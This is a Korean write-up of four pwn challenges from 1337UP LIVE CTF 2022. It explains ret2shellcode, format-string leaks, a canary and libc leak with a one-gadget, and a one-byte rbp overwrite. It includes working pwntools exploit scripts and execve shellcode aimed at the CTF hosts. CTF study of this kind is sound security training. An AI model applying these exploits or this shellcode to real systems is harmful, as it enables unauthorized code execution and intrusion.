1337UP LIVE CTF 2022 후기
이번 주 첫 CTF도 끝나기 막바지에 들어와서 풀었다 그 덕분에 5문제 중 4문제를 풀었고 마지막 문제는 바이너리를 열어보지도 못했다 cake문제에서 시간을 좀 많이 쓴 것 같다
항상 거의 코드도 제대로 분석하지 않고 무지성 디버깅으로 풀려는 습관이랑 영화나 유튜브 보면서 CTF 하는 안 좋은 습관을 좀 고쳐먹어야겠다...
문제는 전체적으로 libc가 주어졌기 때문에 번거로움이 덜했다
Easy Register

안걸려있는 보호기법만 보더라도 ret2shellcode문제일 것이라고 짐작이 가능하다

main함수에서 easy_register()함수를 호출하는데 v1배열(스택)의 주소를 출력해주고 gets함수로 입력받는다
from pwn import *
p = remote("easyregister.ctf.intigriti.io", 7777)
#p = process("./easy_register")
p.recvuntil(b"0x")
stk_addr = int(p.recv(12), 16)
log.info("stack address: " + hex(stk_addr))
shell = b"\x48\x31\xc0\xb0\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90"
shell += b"\x90" * 0x38
shell += p64(stk_addr)
p.recvuntil(b"> ")
p.sendline(shell)
p.interactive()
주어지는 스택 값을 통해 ret2shellcode하면 된다

Search Engine
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[32]; // [rsp+0h] [rbp-50h] BYREF
char v5[40]; // [rsp+20h] [rbp-30h] BYREF
char v6; // [rsp+4Bh] [rbp-5h]
int v7; // [rsp+4Ch] [rbp-4h]
strcpy(v5, "{put falg here, atleast 32 chars}");
puts(" _____ _ ______ _");
puts(" / ____| | | | ____| (_)");
puts(" | (___ ___ __ _ _ __ ___ | |__ | |__ _ __ __ _ _ _ __ ___");
puts(" \\___ \\ / _ \\ / _` | | '__| / __| | '_ \\ | __| | '_ \\ / _` | | | | '_ \\ / _ \\");
puts(" ____) | | __/ | (_| | | | | (__ | | | | | |____ | | | | | (_| | | | | | | | | __/");
puts(" |_____/ \\___| \\__,_| |_| \\___| |_| |_| |______| |_| |_| \\__, | |_| |_| |_| \\___|");
puts(" __/ |");
puts(" |___/");
printf("Search: ");
v7 = 0;
while ( 1 )
{
v6 = getchar();
if ( v6 == -1 || v6 == 13 || v6 == 10 )
break;
if ( v7 <= 24 )
s1[v7++] = tolower(v6);
}
s1[v7] = 0;
if ( !strcmp(s1, "help") )
{
puts("From today, dialing 999 won't get you the emergency services. And that's not");
puts("the only thing that's changing. Nicer ambulances, faster response times an");
puts("better-looking drivers mean they're not just \"the\" emergency services - they're");
puts("\"your\" emergency services. So, remember the new number:\n");
printf("0118 999 881 999 119 725 3");
}
else if ( !strcmp(s1, "intigriti") )
{
puts("Intigriti helps companies protect themselves from cybercrime. Our community of");
puts("ethical hackers provides continuous, realistic security testing to protect our");
printf(aCustomer);
}
else if ( !strcmp(s1, "swag") )
{
printf("Please visit https://https://swag.intigriti.com/");
}
else if ( !strcmp(s1, "voucher") )
{
printf("Please visit https://bit.ly/3o2R1zV (first come first served)");
}
else if ( !strcmp(s1, "flag") )
{
puts(" ___");
puts(" \\_/");
puts(" |._");
puts(" |'.\"-._.-\"\"--.-\"-.__.-'/");
puts(" | \\ .-. (");
puts(" | | (@.@) )");
puts(" | | '=.|m|.=' /");
puts(" jgs | / .='`\"``=. /");
puts(" |.' (");
puts(" |.-\"-.__.-\"\"-.__.-\"-.)");
puts(" |");
puts(" |");
puts(" |");
}
else if ( !strcmp(s1, "id") || !strcmp(s1, "pwd") || !strcmp(s1, "ls") || !strcmp(s1, "whoami") )
{
printf("Please visit https://www.youtube.com/watch?v=dQw4w9WgXcQ");
}
else
{
printf("No result found. You searched for - ");
printf(s1);
}
printf("\n");
return 0;
}
main함수에서 처음에 스택에 플래그를 저장하고 getchar로 연속적으로 데이터를 입력받고 마지막에 fsb가 터진다 fsb를 통해 스택의 플래그 값을 출력해주면 된다
from pwn import *
p = remote("searchengine.ctf.intigriti.io", 1337)
def print_flag():
p.recvuntil(b"0x")
a = p.recv(16)
data = a.decode("ascii")
data = bytes.fromhex(data)
data = data[::-1]
data = data.decode('ascii')
print(data, end='')
payload = b"%12$lp%13$lp%14$lp%15$lp"
p.recvuntil(b"Search:")
p.sendline(payload)
for i in range(4):
print_flag()
print('')
p.interactive()
주어진 바이너리와 리모트의 위치가 다르기도 했고 리모트에서는 문자열 형태로 온전하게 출력이 불가능해서 hex값으로 뽑아서 문자열로 변환하는 과정을 통해 플래그를 얻음

bird


main함수에서 cage함수와 restart함수를 호출한다

cage함수에서는 데이터를 입력받고 64byte보다 클 경우 strstr함수 조건들을 맞춰주면 fsb를 터트릴 수 있다

restart함수에서 gets함수로 bof가 터지고 첫 문자가 n이면 cage함수를 다시 호출한다
from pwn import *
p = remote("bird.ctf.intigriti.io", 7777)
#p = process("./bird")
libc = ELF("libc.so.6")
oneshot = [0x4f3d5, 0x4f432, 0x10a41c]
cnry_leak = b"c56500c7ab26a5100d4672cf18835690"
cnry_leak += b"A" * (64 - len(cnry_leak))
cnry_leak += b"%59$lp%63$lp"
p.recvuntil(b"bird:\n")
p.send(cnry_leak)
p.recvuntil(b"0x")
cnry = int(p.recv(16), 16)
p.recvuntil(b"0x")
libc_st_main = int(p.recv(12), 16)
log.info("canary: " + hex(cnry))
log.info("libc_start_main : " + hex(libc_st_main))
libc_base = libc_st_main - (libc.symbols['__libc_start_main'] + 231)
oneshot = libc_base + oneshot[0]
log.info("libc_base: " + hex(libc_base))
log.info("oneshot: " + hex(oneshot))
payload = b"y"
payload += b"A" * 0x57
payload += p64(cnry)
payload += b"A" * 8
payload += p64(oneshot)
p.recvuntil(b"(y/n) ")
p.sendline(payload)
p.interactive()
cage함수에서 fsb로 카나리 값이랑 __libc_start_main을 릭하고 restart에서 ret주소를 one shot gadget으로 덮어 쉘을 띄웠다

cake
libc가 주어지긴 하지만 one shot gadget이 다 터지는 바람에 쉘코드를 작성하는 방법으로 익스를 했다
무지성 디버깅으로 플래그를 얻어서.. writeup쓰면서
다시 복습해볼까한다


main함수에서는 v8에 6보다 클 때까지 반복문 돌면서 menu함수를 호출한다
menu함수의 인자는 아래와 같다
- 120byte의 크기 배열 (v5)
- while문에서 비교될 변수 (v8)
- print_suggestion함수에서 값이 0인지 확인하게 될 변수 (v4)

menu함수에서 v5변수의 값에 따라 eat, make_suggestion, print_suggestion함수에 호출된다

eat함수는 케이크를 몇입(?) 먹을 건지 1 ~ 3까지 입력을 받게 되는데 이때 1byte overflow가 나게 되면서 rbp에 하위 1byte를 원하는 값으로 변조할 수 있다
그리고 입력한 값을 main함수의 v8변수에 더하게 된다

make_suggestion함수는 v4변수가 값이 존재하는지 확인하고 값이 없다면 fgets로 v5배열에 input을 받고 v4변수에 1을 저장합니다 해당 fgets로 데이터를 받을 때 6byte overflow가 나게 됩니다

print_suggestion에서는 v4변수에 값이 존재한다면 v5배열을 출력하면서 fsb가 터진다
익스 방법은 make_suggestion함수로 fsb로 address leak하는 형식과 shellcode를 저장한 뒤 print_suggestion을 통해 데이터를 저장한 스택의 주소를 릭한다 (배열의 주소를 스택에 저장했다가 사용하기 때문에 스택에 주소가 남아있다)
이후에 eat함수를 호출해서 rbp의 하위 1byte를 overwrite하게 될 것인데 이 overwrite한 주소를 통해 rip를 컨트롤할 수 있게 된다 결국 변조된 주소를 처리하는 과정을 통해 rip를 쉘코드로 이동시켰다
overwrite한 주소를 통해 rip를 컨트롤하는 과정을 아래에서 부분적으로 설명되어있다

eat함수 이후에 스택이 처리되는 과정이다

실질적으로 스택과 관련된 작업을 수행하는 명령어 중심으로 간추리면 위와 같은 과정을 차례대로 수행하게 된다
첫 leave 명령어를 통해 rbp의 주소는 1byte overwrite한 주소가 된다
그리고 다시 leave가 수행되면 rsp는 rbp+8의 주소를 가리키고 있는 ret를 통해 rip를 컨트롤할 수 있게 된다

eat함수에서 데이터를 전달할 때 위의 형태의 데이터를 전달하면 된다
이때 1byte overwrite된 주소는 쉘코드의 주소가 저장된 위치 8감소한 주소가 되도록해주면 된다

eat함수의 스택 프롤로그 과정을 통해 rbp는 1byte 변조된 값이 되고 이 값은 쉘코드 주소가 저장된 스택의 8 감소된 주소이다 (rsp는 menu에서 사용된 스택의 최상단에 위치하겠지만 편하게???로 표기함)
그 이후에 leave ret를 수행하게 되면 우선 rsp가 rbp와 값이 동일해지고 leave 내부적으로 pop rbp를 수행하기 때문에 rsp는 8 증가된 주소가 되고 ret를 수행하게 되면서 rip는 쉘코드 주소로 뛰게 되면서 쉘코드가 수행된다
from pwn import *
#context.log_level = 'debug'
p = remote("cake.ctf.intigriti.io", 9999)
#p = process("./cake")
e = ELF("./cake")
libc = ELF("libc-2.27.so")
#gdb.attach(p)
bss = e.bss()
one_arr = [0x4f432, 0x10a41c]
def case(num,payload = 0):
p.recvuntil(b"> ")
p.sendline(num)
if num == b'1':
p.recvuntil(b": ")
p.send(payload)
elif num == b'2':
p.recvuntil(b"better?\n")
p.sendline(payload)
def leak(name):
p.recvuntil(b"0x")
func = int(p.recv(12), 16)
log.info(name + ": " + hex(func))
return func
shell = b"\x48\x31\xc0\xb0\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90"
payload = b"%7$lp %39$lp"
payload += b"A" * 4
payload += shell
case(b'2', payload)
case(b'3')
stk_addr = leak("stack_leak")
start_main = leak("libc_start_main")
libc_base = start_main - (libc.symbols['__libc_start_main'] + 231)
oneshot = libc_base + one_arr[0]
log.info("libc_base: " + hex(libc_base))
log.info("oneshot: " + hex(oneshot))
log.info("stack_leak: " + hex(stk_addr))
ovr_idx = (stk_addr & 0xff) - 0x70
shell_addr = stk_addr + 0x68
payload = b"3"
payload += b"A" * 7
payload += b"A" * 0xe8
payload += p64(stk_addr -0x70)
payload += p64(stk_addr + 0x10)
payload += ovr_idx.to_bytes(1, 'little')
case(b'1', payload)
p.interactive()
stack주소를 릭해는 것과 별개로 libc_start_main함수를 릭해서 libc base주소를 구하는 코드는 필요 없는 코드다......

여담으로 eat함수에서 쉘코드 주소가 저장될 스택의 주소가 1byte이상의 데이터 변조가 필요하게 되면 익스가 안된다.... (결국 조건부로 익스가 됨)